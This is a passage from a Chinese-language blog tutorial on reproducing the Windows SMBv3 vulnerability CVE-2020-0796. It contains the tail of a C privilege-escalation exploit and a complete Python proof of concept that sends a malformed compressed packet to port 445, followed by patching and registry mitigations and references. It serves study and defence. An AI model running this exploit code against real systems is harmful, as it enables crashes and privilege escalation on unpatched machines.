FinalCompressedSize; UCHAR compressed_buffer[64]; LPVOID lpWorkSpace = malloc(CompressBufferWorkSpaceSize); if (lpWorkSpace == NULL) { printf("Couldn't allocate memory with malloc()\n"); return error_exit(sock, NULL); } err = RtlCompressBuffer(COMPRESSION_FORMAT_XPRESS, buffer, buffer_size, compressed_buffer, sizeof(compressed_buffer), 4096, &FinalCompressedSize, lpWorkSpace); if (err != STATUS_SUCCESS) { printf("RtlCompressBuffer() failed with error: %#x\n", err); free(lpWorkSpace); return error_exit(sock, NULL); } printf("Sending compressed buffer...\n"); if (send_compressed(sock, compressed_buffer, FinalCompressedSize) == SOCKET_ERROR) { return error_exit(sock, "send()"); } printf("SEP_TOKEN_PRIVILEGES changed\n"); inject(); WSACleanup(); return EXIT_SUCCESS; }
2.Python代码解析
CVE-2020-0796-POC.py
import socket, struct, sys class Smb2Header: def __init__(self, command, message_id): self.protocol_id = "\xfeSMB" self.structure_size = "\x40\x00" # Must be set to 0x40 self.credit_charge = "\x00"*2 self.channel_sequence = "\x00"*2 self.channel_reserved = "\x00"*2 self.command = command self.credits_requested = "\x00"*2 # Number of credits requested / granted self.flags = "\x00"*4 self.chain_offset = "\x00"*4 # Points to next message self.message_id = message_id self.reserved = "\x00"*4 self.tree_id = "\x00"*4 # Changes for some commands self.session_id = "\x00"*8 self.signature = "\x00"*16 def get_packet(self): return self.protocol_id + self.structure_size + self.credit_charge + self.channel_sequence + self.channel_reserved + self.command + self.credits_requested + self.flags + self.chain_offset + self.message_id + self.reserved + self.tree_id + self.session_id + self.signature class Smb2NegotiateRequest: def __init__(self): self.header = Smb2Header("\x00"*2, "\x00"*8) self.structure_size = "\x24\x00" self.dialect_count = "\x08\x00" # 8 dialects self.security_mode = "\x00"*2 self.reserved = "\x00"*2 self.capabilities = "\x7f\x00\x00\x00" self.guid = "\x01\x02\xab\xcd"*4 self.negotiate_context = "\x78\x00" self.additional_padding = "\x00"*2 self.negotiate_context_count = "\x02\x00" # 2 Contexts self.reserved_2 = "\x00"*2 self.dialects = "\x02\x02" + "\x10\x02" + "\x22\x02" + "\x24\x02" + "\x00\x03" + "\x02\x03" + "\x10\x03" + "\x11\x03" # SMB 2.0.2, 2.1, 2.2.2, 2.2.3, 3.0, 3.0.2, 3.1.0, 3.1.1 self.padding = "\x00"*4 def context(self, type, length): data_length = length reserved = "\x00"*4 return type + data_length + reserved def preauth_context(self): hash_algorithm_count = "\x01\x00" # 1 hash algorithm salt_length = "\x20\x00" hash_algorithm = "\x01\x00" # SHA512 salt = "\x00"*32 pad = "\x00"*2 length = "\x26\x00" context_header = self.context("\x01\x00", length) return context_header + hash_algorithm_count + salt_length + hash_algorithm + salt + pad def compression_context(self): compression_algorithm_count = "\x03\x00" # 3 Compression algorithms padding = "\x00"*2 flags = "\x01\x00\x00\x00" algorithms = "\x01\x00" + "\x02\x00" + "\x03\x00" # LZNT1 + LZ77 + LZ77+Huffman length = "\x0e\x00" context_header = self.context("\x03\x00", length) return context_header + compression_algorithm_count + padding + flags + algorithms def get_packet(self): padding = "\x00"*8 return self.header.get_packet() + self.structure_size + self.dialect_count + self.security_mode + self.reserved + self.capabilities + self.guid + self.negotiate_context + self.additional_padding + self.negotiate_context_count + self.reserved_2 + self.dialects + self.padding + self.preauth_context() + self.compression_context() + padding class NetBIOSWrapper: def __init__(self, data): self.session = "\x00" self.length = struct.pack('>i', len(data)).decode('latin1')[1:] self.data = data def get_packet(self): return self.session + self.length + self.data class Smb2CompressedTransformHeader: def __init__(self, data): self.data = data self.protocol_id = "\xfcSMB" self.original_decompressed_size = struct.pack('<i', len(self.data)).decode('latin1') self.compression_algorithm = "\x01\x00" self.flags = "\x00"*2 self.offset = "\xff\xff\xff\xff" # Exploit the vulnerability def get_packet(self): return self.protocol_id + self.original_decompressed_size + self.compression_algorithm + self.flags + self.offset + self.data def send_negotiation(sock): negotiate = Smb2NegotiateRequest() packet = NetBIOSWrapper(negotiate.get_packet()).get_packet() sock.send(packet.encode('latin1')) sock.recv(3000) def send_compressed(sock, data): compressed = Smb2CompressedTransformHeader(data) packet = NetBIOSWrapper(compressed.get_packet()).get_packet() sock.send(packet.encode('latin1')) #sock.recv(1000) if __name__ == "__main__": if len(sys.argv) != 2: exit("[-] Supply an IP: {} IP_ADDR".format(sys.argv[0])) sock = socket.socket(socket.AF_INET) sock.settimeout(3) sock.connect((sys.argv[1], 445)) send_negotiation(sock) send_compressed(sock, "A" * 50)
五.防护措施
写到这里,这篇CVE-2020-0796漏洞复现的文章就介绍结束了,但愿对您有所帮助。这篇文章也存在一些不足,做者没有更深刻的理解其原理,也是做为网络安全初学者的慢慢成长路吧!但愿将来能更透彻撰写相关文章。
最后补充防护方法:
- 运行Windows更新,完成Windows10 2020年3月累积更新补丁的安装。
操做步骤:设置->更新和安全->Windows更新,点击“检查更新”。 - 直接下载对应补丁进行安装(KB4551762)。
https://www.catalog.update.microsoft.com/Search.aspx?q=KB4551762 - 访问微软该漏洞官方页面,选择相应的Windows版本安全更新,独立安装该漏洞安全补丁。
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
- 根据BleepingComputer的说法,尽管Microsoft并未共享禁用SMBv3压缩的官方方法,可是Foregenix Solutions架构师Niall Newman在分析了Srv2.sys文件后能够经过手动修改注册表,防止被黑客远程攻击。
(1) 在注册表“HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters”创建一个名为DisableCompression的DWORD,值为1,禁止SMB的压缩功能。
(2) 在管理员模式启动PowerShell,将如下命令复制到Powershell命令行,执行便可。
Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” DisableCompression -Type DWORD -Value 1 -Force
- 若无业务必要,在网络安全域边界防火墙封堵文件打印和共享端口TCP 135/139/445以缓解此问题。
- 能够经过安全厂商的漏洞检验和修复工具来检查是否存在漏洞和进行漏洞修复。
六.总结
但愿这系列文章对您有所帮助,真的感受本身技术好菜,要学的知识好多。转眼4月份到来,这是第64篇原创的安全系列文章,从网络安全到系统安全,从木马病毒到后门劫持,从恶意代码到溯源分析,从渗透工具到二进制工具,还有Python安全、顶会论文、黑客比赛和漏洞分享。未知攻焉知防,人生漫漫其路远兮,做为初学者,本身真是爬着前行;同时学术论文得深刻了,加油!感谢不少人的帮助,继续爬着,继续加油!
欢迎你们讨论,是否以为这系列文章帮助到您!任何建议均可以评论告知读者,共勉。
(By:Eastmount 2020-04-07 晚上10点写于贵阳 http://blog.csdn.net/eastmount/ )
参考文献:
[1] https://github.com/danigargu/CVE-2020-0796
[2] https://github.com/ollypwn/SMBGhost
[3] https://github.com/eastmountyxz/CVE-2020-0796-SMB
[4] https://github.com/joaozietolie/CVE-2020-0796-Checker
[5] 更新 : 公开渠道出现本地提权工具 | 微软 Windows SMBv3服务远程代码执行漏洞(CVE-2020-0796)通告 - 奇安信威胁情报中心 红雨滴团队
[6] 关于CVE-2020-0796 - 我要变超人
[7] CVE-2020-0796本地利用简析
[8] CVE-2020-0796蓝屏POC 漏洞复现 - Jie_Blog
[9] https://download.csdn.net/download/ltt440888/12255558
[10] CVE-2020-0796 SMBv3漏洞复现(蓝屏poc) - L0ading
[11] CVE-2020-0796:SMBv3的RCE漏洞,下一个EternalBlue?- NOSEC平台
[12] 13五、13七、13八、139和445端口 - 谢公子大佬
[13] Linux文件共享服务之Samba - 谢公子大佬
[14] 445端口不通经验总结 - frankarmstrong
[15] 计划任务中使用NT AUTHORITY\SYSTEM用户和普通管理员用户有什么区别 - shangzhihaohao
[16] https://www.bilibili.com/video/av97457537/
[17] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
[18] CVE-2020-0796 SMBv3漏洞蓝屏复现+提权 - anlalu233
[19] https://github.com/ZecOps/CVE-2020-0796-LPE-POC